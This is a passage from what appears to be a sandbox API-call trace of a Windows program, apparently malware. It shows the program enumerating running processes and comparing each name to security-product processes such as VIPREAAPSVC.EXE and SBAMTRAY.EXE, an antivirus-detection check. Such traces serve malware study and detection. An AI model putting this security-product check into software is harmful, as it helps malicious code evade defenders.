th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0067.569] lstrcpyW (in: lpString1=0x1ebf940, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0067.569] lstrlenW (lpString="accepting.exe") returned 13 [0067.569] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0067.569] lstrcmpW (lpString1="ACCEPTING.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.569] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0067.570] lstrcpyW (in: lpString1=0x1ebf940, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0067.570] lstrlenW (lpString="authorized.exe") returned 14 [0067.570] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0067.570] lstrcmpW (lpString1="AUTHORIZED.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.570] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0067.570] lstrcpyW (in: lpString1=0x1ebf940, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0067.570] lstrlenW (lpString="isp.exe") returned 7 [0067.570] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0067.570] lstrcmpW (lpString1="ISP.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.570] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0067.571] lstrcpyW (in: lpString1=0x1ebf940, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0067.571] lstrlenW (lpString="cowboy.exe") returned 10 [0067.571] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0067.571] lstrcmpW (lpString1="COWBOY.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.571] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0067.572] lstrcpyW (in: lpString1=0x1ebf940, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0067.572] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0067.572] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0067.572] lstrcmpW (lpString1="J_VARIABLES_CHANGES.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.572] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0067.572] lstrcpyW (in: lpString1=0x1ebf940, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0067.572] lstrlenW (lpString="thats.exe") returned 9 [0067.572] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0067.572] lstrcmpW (lpString1="THATS.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.572] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0067.573] lstrcpyW (in: lpString1=0x1ebf940, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0067.573] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0067.573] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0067.573] lstrcmpW (lpString1="BIKES GOODS WHILST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.573] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0067.574] lstrcpyW (in: lpString1=0x1ebf940, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0067.574] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0067.574] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0067.574] lstrcmpW (lpString1="REACHES PROCESSING CULTURE.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.574] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0067.575] lstrcpyW (in: lpString1=0x1ebf940, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0067.575] lstrlenW (lpString="actual.exe") returned 10 [0067.575] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0067.575] lstrcmpW (lpString1="ACTUAL.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.575] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0067.575] lstrcpyW (in: lpString1=0x1ebf940, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0067.575] lstrlenW (lpString="potter larry.exe") returned 16 [0067.575] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0067.575] lstrcmpW (lpString1="POTTER LARRY.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.575] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0067.576] lstrcpyW (in: lpString1=0x1ebf940, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0067.576] lstrlenW (lpString="contents what certificate.exe") returned 29 [0067.576] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0067.576] lstrcmpW (lpString1="CONTENTS WHAT CERTIFICATE.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.576] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0067.577] lstrcpyW (in: lpString1=0x1ebf940, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0067.577] lstrlenW (lpString="cindy.exe") returned 9 [0067.577] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0067.577] lstrcmpW (lpString1="CINDY.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.577] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0067.577] lstrcpyW (in: lpString1=0x1ebf940, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0067.577] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0067.577] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0067.577] lstrcmpW (lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.577] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0067.578] lstrcpyW (in: lpString1=0x1ebf940, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0067.578] lstrlenW (lpString="unusual.exe") returned 11 [0067.578] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0067.578] lstrcmpW (lpString1="UNUSUAL.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.578] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0067.579] lstrcpyW (in: lpString1=0x1ebf940, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0067.579] lstrlenW (lpString="pacific.exe") returned 11 [0067.579] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0067.579] lstrcmpW (lpString1="PACIFIC.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.579] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0067.579] lstrcpyW (in: lpString1=0x1ebf940, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0067.579] lstrlenW (lpString="phantom.exe") returned 11 [0067.579] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0067.579] lstrcmpW (lpString1="PHANTOM.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.579] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0067.580] lstrcpyW (in: lpString1=0x1ebf940, lpString2="backgroundTaskHost.exe" | out: lpString1="backgroundTaskHost.exe") returned="backgroundTaskHost.exe" [0067.580] lstrlenW (lpString="backgroundTaskHost.exe") returned 22 [0067.580] CharUpperBuffW (in: lpsz="backgroundTaskHost.exe", cchLength=0x16 | out: lpsz="BACKGROUNDTASKHOST.EXE") returned 0x16 [0067.580] lstrcmpW (lpString1="BACKGROUNDTASKHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.580] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0067.580] lstrcpyW (in: lpString1=0x1ebf940, lpString2="dllhost.exe" | out: lpString1="dllhost.exe") returned="dllhost.exe" [0067.580] lstrlenW (lpString="dllhost.exe") returned 11 [0067.580] CharUpperBuffW (in: lpsz="dllhost.exe", cchLength=0xb | out: lpsz="DLLHOST.EXE") returned 0xb [0067.580] lstrcmpW (lpString1="DLLHOST.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.580] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.581] lstrcpyW (in: lpString1=0x1ebf940, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0067.581] lstrlenW (lpString="audiodg.exe") returned 11 [0067.581] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0067.581] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.581] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0067.582] lstrcpyW (in: lpString1=0x1ebf940, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0067.582] lstrlenW (lpString="SCN0tification.exe") returned 18 [0067.582] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0067.582] lstrcmpW (lpString1="SCN0TIFICATION.EXE", lpString2="VIPREAAPSVC.EXE") returned -1 [0067.582] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 0 [0067.582] CloseHandle (hObject=0x1d0) returned 1 [0067.582] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0067.585] lstrcpyW (in: lpString1=0x1ebfb48, lpString2="SBAMTray.exe" | out: lpString1="SBAMTray.exe") returned="SBAMTray.exe" [0067.585] lstrlenW (lpString="SBAMTray.exe") returned 12 [0067.585] CharUpperBuffW (in: lpsz="SBAMTray.exe", cchLength=0xc | out: lpsz="SBAMTRAY.EXE") returned 0xc [0067.585] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.586] lstrcpyW (in: lpString1=0x1ebf940, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0067.586] lstrlenW (lpString="[System Process]") returned 16 [0067.586] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0067.586] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="SBAMTRAY.EXE") returned -1 [0067.586] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.587] lstrcpyW (in: lpString1=0x1ebf940, lpString2="System" | out: lpString1="System") returned="System" [0067.587] lstrlenW (lpString="System") returned 6 [0067.587] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0067.587] lstrcmpW (lpString1="SYSTEM", lpString2="SBAMTRAY.EXE") returned 1 [0067.587] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.587] lstrcpyW (in: lpString1=0x1ebf940, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0067.587] lstrlenW (lpString="smss.exe") returned 8 [0067.587] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0067.588] lstrcmpW (lpString1="SMSS.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.588] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.588] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.588] lstrlenW (lpString="csrss.exe") returned 9 [0067.588] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.588] lstrcmpW (lpString1="CSRSS.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.588] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.589] lstrcpyW (in: lpString1=0x1ebf940, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0067.589] lstrlenW (lpString="wininit.exe") returned 11 [0067.589] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0067.589] lstrcmpW (lpString1="WININIT.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.589] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.589] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.589] lstrlenW (lpString="csrss.exe") returned 9 [0067.589] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.589] lstrcmpW (lpString1="CSRSS.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.589] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.590] lstrcpyW (in: lpString1=0x1ebf940, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0067.590] lstrlenW (lpString="winlogon.exe") returned 12 [0067.590] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0067.590] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.590] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.591] lstrcpyW (in: lpString1=0x1ebf940, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0067.591] lstrlenW (lpString="services.exe") returned 12 [0067.591] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0067.591] lstrcmpW (lpString1="SERVICES.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.591] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.591] lstrcpyW (in: lpString1=0x1ebf940, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0067.591] lstrlenW (lpString="lsass.exe") returned 9 [0067.591] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0067.592] lstrcmpW (lpString1="LSASS.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.592] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.592] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.592] lstrlenW (lpString="svchost.exe") returned 11 [0067.592] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.592] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.592] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.593] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.593] lstrlenW (lpString="svchost.exe") returned 11 [0067.593] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.593] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.593] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.593] lstrcpyW (in: lpString1=0x1ebf940, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0067.593] lstrlenW (lpString="dwm.exe") returned 7 [0067.593] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0067.593] lstrcmpW (lpString1="DWM.EXE", lpString2="SBAMTRAY.EXE") returned -1 [0067.593] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.594] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.594] lstrlenW (lpString="svchost.exe") returned 11 [0067.594] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.594] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.594] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.595] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.595] lstrlenW (lpString="svchost.exe") returned 11 [0067.595] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.595] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.595] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.595] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.595] lstrlenW (lpString="svchost.exe") returned 11 [0067.595] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.595] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.595] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.596] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.596] lstrlenW (lpString="svchost.exe") returned 11 [0067.596] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.596] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMTRAY.EXE") returned 1 [0067.596] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.596] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.596] lstrlenW 